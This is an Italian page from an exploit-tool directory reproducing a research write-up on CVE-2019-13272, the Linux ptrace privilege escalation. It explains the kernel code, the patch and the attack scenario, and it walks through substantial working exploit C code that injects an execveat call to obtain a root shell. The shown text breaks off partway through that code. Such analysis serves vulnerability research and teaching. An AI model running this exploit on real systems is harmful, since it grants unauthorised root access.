Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2019-13272 — Analisi approfondita ed exploit per CVE-2019-13272, una vulnerabilità di escalation dei privilegi ptrace del kernel Linux. Include una spiegazione del codice e uno scenario di sfruttamento. | Kitploit
Strumenti/GitHubGitHub/datntsec/cve-2019-13272
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubdatntsec/cve-2019-13272

CVE-2019-13272

Analisi approfondita ed exploit per CVE-2019-13272, una vulnerabilità di escalation dei privilegi ptrace del kernel Linux. Include una spiegazione del codice e uno scenario di sfruttamento.

Vedi Repository
5 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2019-13272

PTRACE_TRACEME CVE-2019-13272 analisi della vulnerabilità di escalation dei privilegi locale

PTRACE_TRACEME è una falla di escalation dei privilegi nel kernel Linux scoperta da Jann Horn nel luglio 2019.

Analisi della vulnerabilità:

Ptrace è una system call che fornisce un metodo per consentire a un processo (tracer) di osservare e controllare l'esecuzione di un altro processo (tracee), esaminare e modificare l'immagine core e i suoi registri, utilizzato principalmente per impostare breakpoint nel debug e tracciare le chiamate di sistema.``` c 1 396 kernel/ptrace.c <<ptrace_attach>> ptrace_link(task, current); 2 469 kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

root@kitploit:~
Ci sono due modi per stabilire una relazione di trace:
  - Un processo chiama la funzione fork e il suo processo figlio chiama `PTRACE_TRACEME` (corrispondente alla funzione `ptrace_traceme` nel kernel) per inizializzare il tracee.
  - Un processo chiama `PTRACE_ATTACH` o `PTRACE_SEIZE` (corrispondente alla funzione `ptrace_attach` nel kernel) per inizializzare un tracer per tracciare un altro processo.

Indipendentemente dal metodo utilizzato, la funzione `ptrace_link` viene chiamata alla fine per stabilire la relazione di trace tra tracer e tracee.
- I due parametri passati a `ptrace_link` per `ptrace_attach` sono 'task' (tracee) e 'current' (tracer)
- I due parametri passati a `ptrace_link` per `ptrace_traceme` sono 'current' (tracee) e 'current->real_parent' (tracer)

Qui, dobbiamo notare quali sono i due parametri passati di tracer e tracee nei due metodi sopra quando si chiama la funzione `ptrace_link`, poiché la vulnerabilità risiede nella funzione `ptrace_link`.``` c
static void ptrace_link(struct task_struct *child, struct task_struct *new_parent)
{
        rcu_read_lock();
        __ptrace_link(child, new_parent, __task_cred(new_parent));
        rcu_read_unlock();
}

void __ptrace_link(struct task_struct *child, struct task_struct *new_parent,
                   const struct cred *ptracer_cred)
{
        BUG_ON(!list_empty(&child->ptrace_entry));
        list_add(&child->ptrace_entry, &new_parent->ptraced); // 1. thêm chính nó vào hàng đợi 
                                                                 // ptraced của process cha
        child->parent = new_parent; // 2. Lưu địa chỉ của process cha trong con trỏ parent
        child->ptracer_cred = get_cred(ptracer_cred); // 3. Lưu ptracer_cred lại, ta cần tập trung 
                                                          // vào biến này vì lỗi nằm ở đây
}

Il punto chiave per stabilire una relazione di trace è che il tracee registra le credenziali del tracer e le memorizza nella variabile 'ptracer_cred' del tracee.

Il concetto di 'ptracer_cred' è stato introdotto da una patch nel 2016, ptrace: Capture the ptracer's creds not PT_PTRACE_CAP. Lo scopo dell'introduzione di 'ptracer_cred' è eseguire un controllo di sicurezza quando il tracee esegue exec per caricare un setuid executable.

Perché abbiamo bisogno di questo controllo di sicurezza?

La famiglia di exec può aggiornare l'immagine del processo. Se il setuid bit del file eseguibile è impostato, quando il file eseguibile viene eseguito, l'euid del processo viene modificato nell'uid del proprietario del file eseguibile. I privilegi del processo sono superiori a quelli dell'utente che invoca exec, e l'esecuzione di questo tipo di setuid executable ha un effetto di escalation (escalation).

Immagina, se il processo stesso che esegue exec è un tracee, dopo aver eseguito un setuid executable per aumentare i privilegi, il suo tracer può modificare i registri e la memoria del tracee in qualsiasi momento, e se il tracer ha privilegi bassi può controllare un tracee con privilegi elevati, il tracer potrebbe compiere operazioni non autorizzate attraverso il tracee.

Tuttavia, nel kernel, sembra che tali comportamenti oltre le autorizzazioni non siano permessi, quindi quando si stabilisce una relazione di trace, il tracee deve salvare le cred del tracer (cioè ptracer_cred). Se il tracee esegue un processo exec, verificherà se il bit setuid del file eseguibile eseguito è impostato; in caso affermativo, esaminerà i permessi di 'ptracer_cred'. Se i permessi non sono soddisfatti, il privilegio di esecuzione del bit setuid (privilegio del proprietario del file) non verrà utilizzato per eseguire exec, ma verrà eseguito con i permessi dell'utente originale.

L'analisi del codice di questo processo è la seguente (l'analisi del codice di questo articolo si basa su v4.19-rc8).``` python do_execve -> __do_execve_file -> prepare_binprm -> bprm_fill_uid -> security_bprm_set_creds ->cap_bprm_set_creds -> ptracer_capable ->selinux_bprm_set_creds ->(apparmor_bprm_set_creds) ->(smack_bprm_set_creds) ->(tomoyo_bprm_set_creds)

root@kitploit:~
Le attività relative ai permessi di esecuzione si trovano principalmente nella funzione `prepare_binprm```` c
1567 int prepare_binprm(struct linux_binprm *bprm)
1568 {
1569         int retval;
1570         loff_t pos = 0;
1571 
1572         bprm_fill_uid(bprm); // <-- fill cred của new process (xem hàm bprm_fill_uid bên dưới sẽ rõ hơn)
1573 
1574         /* fill in binprm security blob */
1575         retval = security_bprm_set_creds(bprm); // <-- kiểm tra bảo mật, để xem xét sửa đổi cred của new process     
1576         if (retval)
1577                 return retval;
1578         bprm->called_set_creds = 1;
1579 
1580         memset(bprm->buf, 0, BINPRM_BUF_SIZE);
1581         return kernel_read(bprm->file, bprm->buf, BINPRM_BUF_SIZE, &pos);
1582 }

Come sopra, prima chiama bprm_fill_uid per riempire il cred del nuovo processo, poi chiama security_bprm_set_creds per controllare la sicurezza e modificare il nuovo cred se necessario.``` c 1509 static void bprm_fill_uid(struct linux_binprm *bprm) 1510 { 1511 struct inode inode; 1512 unsigned int mode; 1513 kuid_t uid; 1514 kgid_t gid; 1515 1516 / 1517 * Since this can be called multiple times (via prepare_binprm), 1518 * we must clear any previous work done when setting set[ug]id 1519 * bits from any earlier bprm->file uses (for example when run 1520 * first for a setuid script then again for its interpreter). 1521 / 1522 bprm->cred->euid = current_euid(); // <--- trước tiên sẽ sử dụng euid của process hiện tại 1523 bprm->cred->egid = current_egid(); 1524 1525 if (!mnt_may_suid(bprm->file->f_path.mnt)) 1526 return; 1527 1528 if (task_no_new_privs(current)) 1529 return; 1530 1531 inode = bprm->file->f_path.dentry->d_inode; 1532 mode = READ_ONCE(inode->i_mode); 1533 if (!(mode & (S_ISUID|S_ISGID))) // <---------- nếu bit setuid/setgid của file thực thi không được set 1534 return; // , hàm sẽ return tại đây. 1535 1536 / Be careful if suid/sgid is set / 1537 inode_lock(inode); 1538 1539 / reload atomically mode/uid/gid now that lock held / 1540 mode = inode->i_mode; 1541 uid = inode->i_uid; // <---- nếu S_ISUID được set,sử dụng i_uid của file 1542 gid = inode->i_gid; 1543 inode_unlock(inode); 1544 1545 / We ignore suid/sgid if there are no mappings for them in the ns */ 1546 if (!kuid_has_mapping(bprm->cred->user_ns, uid) || 1547 !kgid_has_mapping(bprm->cred->user_ns, gid)) 1548 return; 1549 1550 if (mode & S_ISUID) { 1551 bprm->per_clear |= PER_CLEAR_ON_SETID; 1552 bprm->cred->euid = uid; // <------ sử dụng uid của file như là euid của new process 1553 } 1554 1555 if ((mode & (S_ISGID | S_IXGRP)) == (S_ISGID | S_IXGRP)) { 1556 bprm->per_clear |= PER_CLEAR_ON_SETID; 1557 bprm->cred->egid = gid; 1558 } 1559 }

root@kitploit:~
Guardando le 2 righe di codice seguenti per il codice sopra:
- Riga 1522, assegna l'euid corrente del processo al nuovo euid, quindi la maggior parte dei processi in esecuzione vengono eseguiti con i permessi originali.
- Riga 1552, se il bit suid è impostato, assegna l'uid del proprietario del file eseguibile al nuovo uid. Può essere inteso come una sorta di setuid. Il nuovo euid diventa l'uid del proprietario del file eseguibile; se il proprietario è un utente privilegiato, l'escalation dei privilegi avviene qui.

Tuttavia, l'euid qui non è ancora il risultato finale; dobbiamo esaminare la funzione `security_bprm_set_creds` per saperne di più sul controllo di sicurezza.

La funzione `security_bprm_set_creds` chiama il framework [LSM](https://en.wikipedia.org/wiki/Linux_Security_Modules)

Sulla versione del kernel che ho analizzato, ci sono fino a 5 punti di hook del framework lsm che eseguono il controllo di sicurezza di 'bprm_set_creds'. Le funzioni di controllo sono le seguenti:``` python
cap_bprm_set_creds
selinux_bprm_set_creds
apparmor_bprm_set_creds
smack_bprm_set_creds
tomoyo_bprm_set_creds

Quali funzioni hook verranno eseguite qui dipenderà dalla configurazione di ciascun kernel specifico. In teoria, se tutti i framework LSM sono abilitati, tutte le funzioni hook menzionate sopra verranno implementate per controllare 'bprm_set_creds'.

Nel mio ambiente di analisi, solo le funzioni hook cap_bprm_set_creds e selinux_bprm_set_creds vengono eseguite.

Tra queste, la funzione cap_bprm_set_creds svolge il ruolo di modificare l'euid:``` c 815 int cap_bprm_set_creds(struct linux_binprm *bprm) 816 { 817 const struct cred *old = current_cred(); 818 struct cred new = bprm->cred; 819 bool effective = false, has_fcap = false, is_setid; 820 int ret; 821 kuid_t root_uid; ===================== skip ====================== 838 / Don't let someone trace a set[ug]id/setpcap binary with the revised 839 * credentials unless they have the appropriate permit. 840 * 841 * In addition, if NO_NEW_PRIVS, then ensure we get no new privs. 842 / 843 is_setid = __is_setuid(new, old) || __is_setgid(new, old);
844 845 if ((is_setid || __cap_gained(permitted, new, old)) && // <---- kiểm tra setid của chương trình được thực thi 846 ((bprm->unsafe & ~LSM_UNSAFE_PTRACE) || 847 !ptracer_capable(current, new->user_ns))) { // <----- Nếu process thực thi execve được trace, và executed program là setuid, quyền sẽ được xem xét thêm vào 848 /
downgrade; they get no more than they had, and maybe less */ 849 if (!ns_capable(new->user_ns, CAP_SETUID) || 850 (bprm->unsafe & LSM_UNSAFE_NO_NEW_PRIVS)) { 851 new->euid = new->uid; // <----- Nếu không thỏa điều kiện, euid của tiến trình mới sẽ được reset về uid ban đầu 852 new->egid = new->gid; 853 } 854 new->cap_permitted = cap_intersect(new->cap_permitted, 855 old->cap_permitted); 856 } 857 858 new->suid = new->fsuid = new->euid; 859 new->sgid = new->fsgid = new->egid; ===================== skip ====================== }

root@kitploit:~
Come sopra, 
  - La riga 845 verifica se euid è coerente con l'uid originale (nell'analisi della funzione `bprm_fill_uid` sopra, se il file eseguito ha il bit setuid impostato, euid di solito non è coerente) ==> Qui si può anche capire che equivale a rilevare se il processo in esecuzione è un programma setid.
  - La riga 847 verificherà se il processo è un tracee.
  
Se le due condizioni sopra sono soddisfatte, la funzione `ptracer_capable` deve essere eseguita per verificare i permessi. Se il controllo non è soddisfatto, verrà eseguita la riduzione dei privilegi.
  - La riga 851 modifica il valore di '*new->euid*' in '*new->uid*', il che significa che i privilegi ottenuti dalla funzione `bprm_fill_uid` (cred) possono essere ridotti qui.``` c
    499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace *ns)
    500 {
    501         int ret = 0;  /* An absent tracer adds no restrictions */
    502         const struct cred *cred;
    503         rcu_read_lock();
    504         cred = rcu_dereference(tsk->ptracer_cred); // <----- lấy ra ptracer_cred được lưu khi ptrace_link
    505         if (cred)
    506                 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); // <-- đi vào lsm framwork để kiểm tra bảo mật
    507         rcu_read_unlock();
    508         return (ret == 0);
    509 }
    

Come sopra

  • Linea 504 recupera 'tsk->ptracer_cred'.
  • Linea 506 entra nel framework lsm per controllare 'tsk->ptracer_cred'.

La variabile 'tsk->ptracer_cred' è coinvolta nella vulnerabilità che risiede qui. Come menzionato in precedenza, questa variabile è il cred del tracer memorizzato dal tracee quando la relazione di trace viene stabilita.

Quando il tracee esegue successivamente execve per eseguire un programma suid executable, chiama la funzione ptracer_capable e utilizza il security framework in lsm per determinare i permessi di 'ptracer_cred'.

Non analizzeremo security_capable_noaudit nel framework lsm, ma si può semplicemente capire che se il tracer stesso ha privilegi di root, il controllo qui verrà superato; altrimenti restituirà un errore.

Secondo l'analisi precedente, se il controllo eseguito dalla funzione ptracer_capable fallisce, i permessi di 'new->euid' verranno abbassati ai permessi originali.

Esempio: A fa ptrace su B, B esegue execve '/usr/bin/passwd'. Secondo l'analisi del codice sopra, se A ha privilegi di root, allora l'euid di B che esegue passwd sarà root, altrimenti utilizzerà i permessi originali.``` c kernel/ptrace.c <<ptrace_traceme>> ptrace_link(current, current->real_parent);

static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) { rcu_read_lock(); __ptrace_link(child, new_parent, __task_cred(new_parent)); rcu_read_unlock(); }

root@kitploit:~
Tornando al frammento di codice contenente la vulnerabilità sopra, perché traceme è sbagliato quando registra le credenziali del suo genitore durante l'impostazione del trace link? È chiaro che in questo momento il suo genitore è tracer?

Utilizzando l'esempio di Jann Horn per illustrare il motivo per cui traceme non può utilizzare le credenziali del tracer quando imposta il trace link in questo modo.``` py
 - 1,  task A: fork()s a child, task B
 - 2,  task B: fork()s a child, task C
 - 3,  task B: execve(/some/special/suid/binary)
 - 4,  task C: PTRACE_TRACEME (creates privileged ptrace relationship)
 - 5,  task C: execve(/usr/bin/passwd)
 - 6,  task B: drop privileges (setresuid(getuid(), getuid(), getuid()))
 - 7,  task B: become dumpable again (e.g. execve(/some/other/binary))
 - 8,  task A: PTRACE_ATTACH to task B
 - 9,  task A: use ptrace to take control of task B
 - 10, task B: use ptrace to take control of task C

Ci sono in totale 3 processi: A, B, C nello scenario sopra.

  • Nel passo 4, quando il task C usa PTRACE_TRACEME per stabilire un collegamento di traccia con B, poiché l'euid di B ora è 0 (perché ha appena eseguito un binario suid), l'euid di 'ptracer_cred' scritto da C è anch'esso 0.
  • Nel passo 5, il task C esegue execve(suid binary) successivamente. Come analizzato in precedenza, poiché 'ptracer_cred' di C ha privilegi, la funzione ptracer_capable viene superata, quindi dopo l'esecuzione di execve, l'euid del task C viene anch'esso elevato a 0. Si noti che il collegamento di traccia tra B e C è ancora valido in questo momento.
  • Nel passo 6, il task B esegue setresuid per abbassare i propri privilegi. Lo scopo di questa operazione è procedere con l'attach al task A.
  • Nel passo 8, il task A utilizza PTRACE_ATTACH per stabilire un collegamento di traccia con B. Sia A che B hanno privilegi normali, quindi A può controllare B per eseguire qualsiasi attività.
  • Nel passo 10, il task B controlla il task C per eseguire un'azione di escalation dei privilegi.

I primi 9 passi sono tutti impostati secondo l'analisi del codice precedente; è possibile impostare il nono passo?

Quando si esegue il passo 10, il task B stesso ha privilegi normali, il task C ha privilegi di root e il collegamento di traccia tra B e C è valido. In queste condizioni, B può inviare una richiesta ptrace a C per eseguire varie operazioni, inclusa l'escalation dei privilegi?

Analizziamo questo aspetto con il codice seguente:``` c 1111 SYSCALL_DEFINE4(ptrace, long, request, long, pid, unsigned long, addr, 1112 unsigned long, data) 1113 { 1114 struct task_struct child; 1115 long ret; 1116 1117 if (request == PTRACE_TRACEME) { 1118 ret = ptrace_traceme(); // <----- đi vào nhánh traceme 1119 if (!ret) 1120 arch_ptrace_attach(current); 1121 goto out; 1122 } 1123 1124 child = find_get_task_by_vpid(pid); 1125 if (!child) { 1126 ret = -ESRCH; 1127 goto out; 1128 } 1129 1130 if (request == PTRACE_ATTACH || request == PTRACE_SEIZE) { 1131 ret = ptrace_attach(child, request, addr, data); // <------ đi vào nhánh attach 1132 / 1133 * Some architectures need to do book-keeping after 1134 * a ptrace attach. 1135 */ 1136 if (!ret) 1137 arch_ptrace_attach(child); 1138 goto out_put_task_struct; 1139 } 1140 1141 ret = ptrace_check_attach(child, request == PTRACE_KILL || 1142 request == PTRACE_INTERRUPT); 1143 if (ret < 0) 1144 goto out_put_task_struct; 1145 1146 ret = arch_ptrace(child, request, addr, data); // <---- các yêu cầu ptrace khác 1147 if (ret || request != PTRACE_DETACH) 1148 ptrace_unfreeze_traced(child); 1149 1150 out_put_task_struct: 1151 put_task_struct(child); 1152 out: 1153 return ret; 1154 }

root@kitploit:~
Come nel codice sopra, poiché il task B e il task C hanno già i trace links a questo punto, la richiesta ptrace può essere inviata direttamente a C tramite B, da cui verrà chiamata la funzione `arch_ptrace`.``` c
arch/x86/kernel/ptrace.c

arch_ptrace 
    -> ptrace_request 
        -> generic_ptrace_peekdata
           generic_ptrace_pokedata 
            -> ptrace_access_vm 
                -> ptracer_capable 
kernel/ptrace.c
884 int ptrace_request(struct task_struct *child, long request,
885                    unsigned long addr, unsigned long data)
886 {
887         bool seized = child->ptrace & PT_SEIZED;
888         int ret = -EIO;
889         siginfo_t siginfo, *si;
890         void __user *datavp = (void __user *) data;
891         unsigned long __user *datalp = datavp;
892         unsigned long flags;
893 
894         switch (request) {
895         case PTRACE_PEEKTEXT:
896         case PTRACE_PEEKDATA:
897                 return generic_ptrace_peekdata(child, addr, data);
898         case PTRACE_POKETEXT:
899         case PTRACE_POKEDATA:
900                 return generic_ptrace_pokedata(child, addr, data);
901 
=================== skip ================
1105 }



1156 int generic_ptrace_peekdata(struct task_struct *tsk, unsigned long addr,
1157                             unsigned long data)
1158 {
1159         unsigned long tmp;
1160         int copied;
1161 
1162         copied = ptrace_access_vm(tsk, addr, &tmp, sizeof(tmp), FOLL_FORCE); // <--- gọi hàm ptrace_access_vm
1163         if (copied != sizeof(tmp))
1164                 return -EIO;
1165         return put_user(tmp, (unsigned long __user *)data);
1166 }
1167 
1168 int generic_ptrace_pokedata(struct task_struct *tsk, unsigned long addr,
1169                             unsigned long data)
1170 {
1171         int copied;
1172 
1173         copied = ptrace_access_vm(tsk, addr, &data, sizeof(data), // <---- gọi hàm ptrace_access_vm
1174                         FOLL_FORCE | FOLL_WRITE);
1175         return (copied == sizeof(data)) ? 0 : -EIO;
1176 }

Quando il tracer vuole far eseguire al tracee una nuova logica di codice, deve inviare richieste di lettura e scrittura nell'area di codice e nell'area di memoria del tracee. Le richieste corrispondenti sono le funzioni PTRACE_PEEKTEXT/PTRACE_PEEKDATA/PTRACE_POKETEXT/PTRACE_POKEDATA.

Queste operazioni di lettura e scrittura sono infine eseguite tramite la funzione ptrace_access_vm.``` c kernel/ptrace.c 38 int ptrace_access_vm(struct task_struct *tsk, unsigned long addr, 39 void *buf, int len, unsigned int gup_flags) 40 { 41 struct mm_struct *mm; 42 int ret; 43 44 mm = get_task_mm(tsk); 45 if (!mm) 46 return 0; 47 48 if (!tsk->ptrace || 49 (current != tsk->parent) || 50 ((get_dumpable(mm) != SUID_DUMP_USER) && 51 !ptracer_capable(tsk, mm->user_ns))) { // < ----- gọi hàm ptracer_capable một lần nữa. 52 mmput(mm); 53 return 0; 54 } 55 56 ret = __access_remote_vm(tsk, mm, addr, buf, len, gup_flags); 57 mmput(mm); 58 59 return ret; 60 }

kernel/capability.c 499 bool ptracer_capable(struct task_struct *tsk, struct user_namespace ns) 500 { 501 int ret = 0; / An absent tracer adds no restrictions */ 502 const struct cred *cred; 503 rcu_read_lock(); 504 cred = rcu_dereference(tsk->ptracer_cred); 505 if (cred) 506 ret = security_capable_noaudit(cred, ns, CAP_SYS_PTRACE); 507 rcu_read_unlock(); 508 return (ret == 0); 509 }

root@kitploit:~
Guardando il codice sopra, possiamo vedere che la funzione `ptrace_access_vm` chiama la funzione `ptracer_capable` che abbiamo analizzato in precedenza per determinare se la sua richiesta può essere eseguita.

Secondo i risultati dell'analisi precedente, '*ptracer_cred*' salvato nel task C in questo momento è un cred con privilegi, quindi `ptracer_capable` avrà successo in questo momento, il che significa che la domanda sopra è stata risolta. In questo caso, il task B con privilegi normali può usare ptrace per inviare richieste di lettura e scrittura nella memoria e nell'area di codice del task C con privilegi di root.

In questo momento, il privilegio '*ptracer_cred*' viene implementato dal task C in due casi:
- Il task C esegue `execve(suid binary)` per elevare i privilegi
- Il task B con privilegi normali può eseguire ptrace per leggere e scrivere nell'area di codice e nella memoria del task C, controllando così il task C per eseguire operazioni arbitrarie

La combinazione dei due ruoli sopra costituisce un'attività di escalation dei privilegi completa?

Prima di rispondere alla domanda sopra, vedremo come questa vulnerabilità viene sfruttata e corretta.

# Panoramica sulla patch della vulnerabilità PTRACE_TRACEME``` 
PTRACE_TRACEME records the parent's credentials as if the parent was 
acting as the subject, but that's not the case.  If a malicious
unprivileged child uses PTRACE_TRACEME and the parent is privileged, and
at a later point, the parent process becomes attacker-controlled
(because it drops privileges and calls execve()), the attacker ends up
with control over two processes with a privileged ptrace relationship,
which can be abused to ptrace a suid binary and obtain root privileges.

In sostanza, questa vulnerabilità è simile a una vulnerabilità di tipo TOCTOU. L'ottenimento di 'ptracer_cred' nella fase traceme e l'utilizzo di 'ptracer_cred' nella fase successiva nella successiva richiesta ptrace, le credenziali del tracer potrebbero non essere quelle originali, ma quelle del momento del collegamento (cioè vengono riassegnate all'interno della funzione ptrace_link).``` diff diff --git a/kernel/ptrace.c b/kernel/ptrace.c index 8456b6e..705887f 100644 --- a/kernel/ptrace.c +++ b/kernel/ptrace.c @@ -79,9 +79,7 @@ void __ptrace_link(struct task_struct *child, struct task_struct *new_parent, */ static void ptrace_link(struct task_struct *child, struct task_struct *new_parent) {

  • rcu_read_lock();
  • __ptrace_link(child, new_parent, __task_cred(new_parent));
  • rcu_read_unlock();
  • __ptrace_link(child, new_parent, current_cred()); }
root@kitploit:~
Rivediamo la patch: '*\_\_task_cred(new_parent)*' è stato sostituito con '*current_cred()*'

La patch indica che quando PTRACE_TRACEME viene eseguito, '*ptracer_cred*' non utilizza le credenziali del processo genitore, ma le proprie.

# Exploit
Il punto cruciale per sfruttare questa vulnerabilità è trovare un programma eseguibile adatto per avviare il task B. Questo programma deve soddisfare le seguenti condizioni:
- Deve essere richiamabile da un utente normale
- Deve avere una fase di escalation dei privilegi a root durante l'esecuzione
- Dopo aver ottenuto i privilegi di root, deve essere in grado di declassarli.

(Lo scopo dell'escalation temporanea a root è permettere al task C di ottenere il ptracer_cred di root, e lo scopo della declassificazione dei privilegi è permettere a B di essere attaccato da un processo con i normali privilegi ptrace ))

Ecco 3 esempi di codice per lo sfruttamento:
- [Exploit by Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217)
- [Exploit by Bcoles](https://github.com/bcoles/kernel-exploits/blob/master/CVE-2019-13272/poc.c)
- [Exploit by Jiayy](https://github.com/jiayy/android_vuln_poc-exp/tree/master/EXP-CVE-2019-13272)

Nel [exploit di Jann Horn](https://bugs.chromium.org/p/project-zero/issues/attachmentText?aid=401217), il programma [pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) presente nel sistema (per la versione desktop) viene utilizzato per avviare il task B.

[pkexec](http://manpages.ubuntu.com/manpages/trusty/man1/pkexec.1.html) permette a un utente con privilegi di eseguire un altro programma con diversi diritti utente, ed è utilizzato nel framework di autenticazione di polkit. Quando si utilizza il parametro --user, consente al processo di aumentare i privilegi a root e poi di abbassarli all'utente specificato, quindi può essere utilizzato per la costruzione del task B. Inoltre, abbiamo bisogno di trovare altri programmi eseguibili che vengono eseguiti tramite il framework polkit (Jann Horn utilizza helper). Questi programmi devono soddisfare il requisito che un utente normale possa eseguirli con pkexec senza doversi autenticare (molti programmi eseguiti tramite polkit richiedono l'autenticazione tramite una finestra pop-up). Il modo per eseguirli è il seguente:``` sh
/usr/bin/pkexec —user nonrootuser /user/sbin/some-helper-binary

Exploit di Bcoles aggiunge codice per cercare ulteriori binary helper basandosi sul lavoro di Jann Horn. Poiché l'helper di Jann Horn è un programma hard-coded, non esiste in molte distribuzioni Linux, quindi il suo exploit non può essere utilizzato su molti sistemi. Al contrario, il codice exploit di bcoles può essere eseguito con successo su un numero maggiore di distribuzioni.

Per scopi di ricerca, parlerò dell'exploit di Jiayy, poiché i binary helper delle varie distribuzioni differiscono e pkexec è presente solo nelle distribuzioni desktop; in realtà, questa vulnerabilità di escalation dei privilegi è una vulnerabilità del kernel Linux. Pertanto, l'exploit di Jann Horn è stato modificato per essere utilizzato per l'escalation dei privilegi tramite due programmi creati manualmente: fakepkexec e fakehelper (invece di cercarli nel sistema di destinazione), in modo che il lettore possa eseguire questo exploit su qualsiasi sistema Linux affetto da questa vulnerabilità (anche non desktop) per scopi di ricerca.

analisi dell'exploit

Vediamo il codice dell'exploit qui sotto:``` c 167 int main(int argc, char *argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell(); 172 173 helper_path = "/tmp/fakehelper"; 174 175 / 176 * set up a pipe such that the next write to it will block: packet mode, 177 * limited to one packet 178 / 179 SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT)); 180 SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000)); 181 char dummy = 0; 182 SAFE(write(block_pipe[1], &dummy, 1)); 183 184 / spawn pkexec in a child, and continue here once our child is in execve() / 185 static char middle_stack[10241024]; 186 pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack), 187 CLONE_VM|CLONE_VFORK|SIGCHLD, NULL)); 188 if (!middle_success) return 1; 189 ======================= skip ======================= 215 }

root@kitploit:~
Prima, guarda la riga 186, la chiamata alla funzione clone per creare un processo figlio (task B), task B eseguirà la funzione middle_main.``` c
64 static int middle_main(void *dummy) {
65   prctl(PR_SET_PDEATHSIG, SIGKILL);
66   pid_t middle = getpid();
67 
68   self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
69 
70   pid_t child = SAFE(fork());
71   if (child == 0) {
72     prctl(PR_SET_PDEATHSIG, SIGKILL);
73 
74     SAFE(dup2(self_fd, 42));
75 
76     /* spin until our parent becomes privileged (have to be fast here) */
77     int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
78     char *needle = tprintf("nUid:t%dt0t", getuid());
79     while (1) {
80       char buf[1000];
81       ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
82       buf[buflen] = '';
83       if (strstr(buf, needle)) break;
84     }
85 
86     /*
87      * this is where the bug is triggered.
88      * while our parent is in the middle of pkexec, we force it to become our
89      * tracer, with pkexec's creds as ptracer_cred.
90      */
91     SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
92 
93     /*
94      * now we execute passwd. because the ptrace relationship is considered to
95      * be privileged, this is a proper suid execution despite the attached
96      * tracer, not a degraded one.
97      * at the end of execve(), this process receives a SIGTRAP from ptrace.
98      */
99     puts("executing passwd");
100     execl("/usr/bin/passwd", "passwd", NULL);
101     err(1, "execl passwd");
102   }
103 
104   SAFE(dup2(self_fd, 0));
105   SAFE(dup2(block_pipe[1], 1));
106 
107   struct passwd *pw = getpwuid(getuid());
108   if (pw == NULL) err(1, "getpwuid");
109 
110   middle_success = 1;
111   execl("/tmp/fakepkexec", "fakepkexec", "--user", pw->pw_name, NULL);
112   middle_success = 0;
113   err(1, "execl pkexec");
114 }

Dopo, alla riga 111, il task B esegue fakepkexec per elevare i privilegi e successivamente li riduce.

Successivamente, osservando le righe 76-84, dopo che il task C rileva che l'euid del task B è diventato 0, eseguirà la riga 91 per eseguire l'operazione PTRACE_TRACEME per ottenere il ptracer_cred di root, e subito dopo eseguirà executel per eseguire il binario suid e rendere il proprio euid 0.``` c 190 /* 191 * wait for our child to go through both execve() calls (first pkexec, then 192 * the executable permitted by polkit policy). 193 */ 194 while (1) { 195 int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY); 196 char buf[16]; 197 int buflen = SAFE(read(fd, buf, sizeof(buf)-1)); 198 buf[buflen] = ''; 199 strchrnul(buf, 'n') = ''; 200 if (strncmp(buf, basename(helper_path), 15) == 0) 201 break; 202 usleep(100000); 203 } 204 205 / 206 * our child should have gone through both the privileged execve() and the 207 * following execve() here 208 */ 209 SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL)); 210 SAFE(waitpid(midpid, &dummy_status, 0)); 211 fputs("attached to midpidn", stderr); 212 213 force_exec_and_wait(midpid, 0, "stage2"); 214 return 0;

root@kitploit:~
Successivamente, torniamo alla funzione main di task A, righe da 194 a 202, task A controlla se il file comm di task B è già diventato helper, se sì, eseguirà la riga 213 per eseguire la funzione force_exec_and_wait``` c
116 static void force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
117   struct user_regs_struct regs;
118   struct iovec iov = { .iov_base = &regs, .iov_len = sizeof(regs) };
119   SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
120   SAFE(waitpid(pid, &dummy_status, 0));
121   SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
122 
123   /* set up indirect arguments */
124   unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
125   struct injected_page {
126     unsigned long argv[2];
127     unsigned long envv[1];
128     char arg0[8];
129     char path[1];
130   } ipage = {
131     .argv = { scratch_area + offsetof(struct injected_page, arg0) }
132   };
133   strcpy(ipage.arg0, arg0);
134   for (int i = 0; i < sizeof(ipage)/sizeof(long); i++) {
135     unsigned long pdata = ((unsigned long *)&ipage)[i];
136     SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
137                 (void*)pdata));
138   }
139 
140   /* execveat(exec_fd, path, argv, envv, flags) */
141   regs.orig_rax = __NR_execveat;
142   regs.rdi = exec_fd;
143   regs.rsi = scratch_area + offsetof(struct injected_page, path);
